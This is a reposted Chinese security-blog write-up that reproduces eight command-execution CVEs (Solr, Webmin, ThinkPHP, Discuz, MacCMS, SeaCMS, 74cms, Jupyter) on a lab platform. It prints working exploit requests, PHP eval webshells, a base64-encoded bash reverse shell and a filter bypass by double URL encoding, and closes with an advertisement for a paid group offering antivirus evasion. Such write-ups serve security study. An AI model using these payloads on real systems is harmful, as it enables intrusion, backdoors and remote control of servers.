【经典】命令执行漏洞 | 案例复现
2023-4-16 21:4:2 Author: 渗透安全团队(查看原文) 阅读量:30 收藏

由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!

工作总结 / SUMMARY

命令、代码执行目标
【漏洞复现-jupyter_notebook-命令执行】vulfocus/jupyter_notebook-cve_2019_9644发现功能点上的命令执行
【漏洞复现-solr-命令执行】vulfocus/solr-cve_2019_17558寻找模板(接口、配置文件)的命令执行漏洞
【漏洞复现-seaCms-命令执行】vulfocus/seacms-cnvd_2020_22721写入可执行文件
【漏洞复现-maccms-命令执行】vulfocus/maccms-cve_2017_17733参数中写入命令(加密)
【漏洞复现-webmin-命令执行】vulfocus/webmin-cve_2019_15107拼接执行命令
【漏洞复现-thinkphp-命令执行】vulfocus/thinkphp-3.2.x写入错误日志中
【漏洞复现-Discuz-代码执行】Discuz_CVE-2019-13956cookie中植入
【漏洞复现-骑士cms-代码执行】vulfocus/骑士cms_cve_2020_35339后台配置中植入命令

jupyter_notebook-命令执行

vulfocus/jupyter_notebook-cve_2019_9644

一、靶场环境

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:43763

——————————————————————

1.2、知识:

1、测试功能点

(这种情况基本上很难遇到,但是不能忽略每一种可能)

——————————————————————

1.3、描述:

Jupyter Notebook是一套用于创建、共享代码和说明性文本文档的开源Web应用程序。

Jupyter Notebook可直接使用命令行执行任意命令。

#############################

二、漏洞验证

2.1、分析:

点击new---->terminal

(可能出现的问题:terminal无法打开,也就是一个空白页面【过几天再重启靶场就是好的了】)

打开控制台进行命令输入

solr-命令执行

vulfocus/solr-cve_2019_17558

一、靶场环境

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:28378

—————————————————————

1.2、知识:

1、API接口信息,配置文件

—————————————————————

1.3、描述:

Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。

攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。

###########################

二、漏洞验证

2.1、分析:

第一步:

访问特定url启用配置params.resource.loader.enabled,其中API路径包含core名称

访问

/solr/admin/cores?indexInfo=false&wt=json

第二步:

启用配置 params.resource.loader.enabled 为true

在url访问/solr/demo/config,bp抓包 改成POST然后修改启动配置

修改一:

改为POST请求

修改二:

{

  "update-queryresponsewriter": {

    "startup": "lazy",

    "name": "velocity",

    "class": "solr.VelocityResponseWriter",

    "template.base.dir": "",

    "solr.resource.loader.enabled": "true",

    "params.resource.loader.enabled": "true"

  }

}

第三步:

注入Velocity模板即可执行任意命令

POC:

/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%20/tmp%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

URL中插入命令


############################

扩展:

使用bash来反弹shell【但Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法】

需要进行一次base64编码绕过

bash -i >& /dev/tcp/ip/port  0>&1

%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8+ip/port的base64编码+IDA%2BJjE%3D

组合

bash%20-c%20{echo%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8+ip/port的base64编码+IDA%2BJjE%3D}|{base64%2C-d}|{bash%2C-i}

seaCms-命令执行

vulfocus/seacms-cnvd_2020_22721

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:31853

123.58.224.8:8589

123.58.224.8:8589

编辑

1.2、知识:

1、审计

寻找用户可控参数,且存在对用户输入没有或处理不完全情况,直接写入文件,攻击者可利用该漏洞执行恶意代码,获取服务器权限

2、环境

将php后门代码写入到是php的文件里面,然后再连接该php文件

1.3、描述:

在w1aqhp/admin_ip.php下第五行使用set参数,对用户输入没有进行任何处理,直接写入文件。攻击者可利用该漏洞执行恶意代码,获取服务器权限



2.1、分析:

题目提示:

后台路径:/manager 后台密码:admin:admin

点击系统---->后台ip安全设置

点击确认,并抓包

v=0&ip=+11111111111";eval($_POST[1]);//

 POST提交的数据中写入后门连接代码

 回显正常

访问写入的页面

http://123.58.224.8:44871/manager/admin_ip.php

(也回显正常)

 后门连接

http://123.58.224.8:44871/manager/admin_ip.php

 

2.4、解题:


maccms-命令执行

vulfocus/maccms-cve_2017_17733

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:63722

123.58.224.8:51161

123.58.224.8:51161

1.2、知识:

1、可控参数

(审计)

2、fputs()函数

函数写入文件(可安全用于二进制文件),fputs() 函数是 fwrite() 函数的别名

fputs(file,string,length)

参数 描述
file 必需。规定要写入的打开文件。
string 必需。规定要写入文件的字符串。
length 可选。规定要写入的最大字节数。

3、fopen() 函数

打开文件或者 URL,如果打开失败,本函数返回 FALSE

fopen(filename,mode,include_path,context)

参数 描述
filename 必需。规定要打开的文件或 URL。
mode 必需。规定要求到该文件/流的访问类型(值见下表)
include_path 可选。如果也需要在 include_path 中检索文件的话,可以将该参数设为 1 或 TRUE。
context 可选。规定文件句柄的环境。Context 是可以修改流的行为的一套选项。
mode 说明
"r" 只读方式打开,将文件指针指向文件头。
"r+" 读写方式打开,将文件指针指向文件头。
"w" 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
"w+" 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
"a" 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
"a+" 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
"x"

创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。

这和给底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。

此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。

"x+"

创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。

这和给底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。

此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。

4、base64_decode

对使用 MIME base64 编码的数据进行解码

base64_decode(string $data, bool $strict = false): string

如base64_decode($str)

1.3、描述:

远程攻击者可借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令



2.1、分析:

漏洞点

http://ip:port/index.php?m=vod-search

在此页面抓包

修改一:

改为POST请求

修改二:

添加POST提交的数据

wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

c.php密码c

后门代码写入的URL地址

http://ip:port/c.php

连接后门

 

2.4、解题:

webmin-命令执行

vulfocus/webmin-cve_2019_15107

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:36915

 提示使用https进行连接

https://123.58.224.8:36915

1.2、知识:

1、寻找无需身份验证点

(得先有账号)

使用bp的插件工具进行测试

1.3、描述:

Webmin  <= 1.920

找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞,攻击者即可发送POST请求在目标系统中执行任意系统命令,且无需身份验证



2.1、分析:

抓任意包(我抓的点击登陆时的包)

修改一:

修改请求地址

POST /password_change.cgi HTTP/1.1 

修改二:

POST提交的数据

user=rootxx&pam=&expired=2&old=test|ls+/tmp&new1=test2&new2=test2

2.4、解题:

thinkphp-命令执行

vulfocus/thinkphp-3.2.x

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:62651

123.58.224.8:53137

123.58.224.8:53137

(是个空白页面)

1.2、知识:

1、Log记录目录(日期格式)

开启debug模式日志保存在:\Application\Runtime\Logs\Home\

未开启debug模式日志保存在:\Application\Runtime\Logs\Common\

2、路径

上传恶意代码到服务器上,需包含其文件相对或绝对路径

/index.php?m=Home&c=Index&a=index&value[_filename]=./[filename]

3、PHP代码写法

<?=phpinfo();?>

<?=system(ls /tmp);?>

4、日志记录

如果状态码200,就不会记录在日志中,要错误状态码(如404)

可能错误的记录地方有多个,如请求头中的UA、请求地址等



2.1、分析:

抓包

报错,可以尝试写入日志里面


方法一:

(我测试失败了)

写入命令ls /tmp

GET /index.php?m=--><?=system(ls%20/tmp);?> HTTP/1.1

GET /index.php?m=--><?=system(ls%20/tmp);?> HTTP/1.1
Host: 123.58.224.8:45730
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=r39k0c745brbo2328lkvk8llnv;
Connection: close
Upgrade-Insecure-Requests: 1

 报错了,就写入日志了

访问日志(22_10_14年月日)

http://ip:port/Application/Runtime/Logs/Common/22_10_14.log

POC:

http://ip:port/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/22_10_14.log


方法二:

直接写入phpinfo

(和上面基本上一样)

GET /index.php?m=--><?=phpinfo();?> HTTP/1.1

GET /index.php?m=--><?=phpinfo();?> HTTP/1.1
Host: 123.58.224.8:45730
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=r39k0c745brbo2328lkvk8llnv;
Connection: close
Upgrade-Insecure-Requests: 1

访问日志

http://ip:port/Application/Runtime/Logs/Common/22_10_14.log

/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/22_10_14.log

2.4、解题:


Discuz-代码执行

Discuz_CVE-2019-13956

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:30299

1.2、知识:

1、审计

language可控,程序从cookie中获取language的值作为缓存文件名的一部分,且被include_once包含,构成命令执行漏洞

'./data/temlpate/'.'sc'.phpinfo().''_'

2、file_put_contents('文件名.php','写入文件里面的后门代码')

1.3、描述:

允许远程通过修改过的语言 cookie 执行任意 PHP 代码,如将 xxxx_xxxx_language=en 更改为 xxxx_xxxx_language=en'.phpinfo().' 所示;(如果使用了随机前缀 xxxx_xxxx_)



2.1、分析:

一直下一步,同意,啥的

 

 点击访问,与此同时,使用bp抓包

数据包中cookie中的language时漏洞点

随便往其中的一个地方插入语句

'.phpinfo().'

发现回显了flag

 在代理上修改后放包


其他方法:

写入后门文件

'.file_put_contents('shell.php','<?php eval($_POST['pw']);?>').'

 (我测试的时候,是会有关键字过滤的)

服务器会自动解码一次,我们就需要进行2次URL编码,来进行绕过

2.4、解题:

骑士cms-代码执行

vulfocus/骑士cms_cve_2020_35339

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:57171

123.58.224.8:36168

 123.58.224.8:36168

1.2、知识:

1、配置文件错误配置(审计)

此题漏洞点在配置文件,且配置文件是php后缀

2、php语句

应该让写入的代码为php语言执行,而不是字符串。可以使用‘闭合,再用,使其独立

(还得考虑是否被过滤了)

1.3、描述:

管理后台由于过滤不严谨,可以向配置文件写入恶意代码导致任意代码执行



2.1、分析

在URL后面加上/index.php?m=Admin

(访问后台)

题目提示:账号密码均为

adminadmin

 插入PHPinfo()

 http://127.0.0.1/.',phpinfo(),'/.com

 刷新页面后,又回到了后台登陆页面

 现在一登陆进去就是这个页面了


写入后门连接代码

http://127.0.0.1/.',eval($_POST['pass']),'/.com

点击保存修改

 刷新页面后,又回到了后台登陆页面

http://123.58.224.8:61983/index.php?m=Admin&c=index&a=login

 

2.4、解题:

 或者


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247503129&idx=2&sn=28473fc731cdbbb4d6f407a986117db1&chksm=c17630b6f601b9a0ee89c7051b3127c10641776a2fbbb9d15306d33a12c62ea89d5e5f3b8076#rd
如有侵权请联系:admin#unsafe.sh